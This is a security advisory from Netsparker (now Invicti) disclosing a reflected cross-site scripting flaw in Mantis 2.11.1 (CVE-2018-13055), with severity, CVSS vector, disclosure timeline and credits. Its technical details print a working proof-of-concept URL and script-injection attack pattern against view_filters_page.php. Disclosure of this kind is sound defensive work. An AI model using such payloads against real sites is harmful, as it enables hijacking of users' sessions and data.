Reflected Cross-site Scripting in Mantis 2.11.1


Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting in Mantis 2.11.1
Affected Software: Mantis 
Affected Versions: 2.11.1
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2018-13055
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-042

Technical Details

URL: http://{domain}/{mantis_path}/view_filters_page.php/'"--></style></scRipt><scRipt>alert(0x00CB68)</scRipt>
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00CB68)</scRipt>

For more information on cross-site scripting vulnerabilities read the section Cross-site scripting (XSS).

Advisory Timeline

2nd July 2018- First Contact
4th July 2018 – Vendor Fixed
8th January 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Ömer Çıtak while testing Invicti Web Application Security Scanner.

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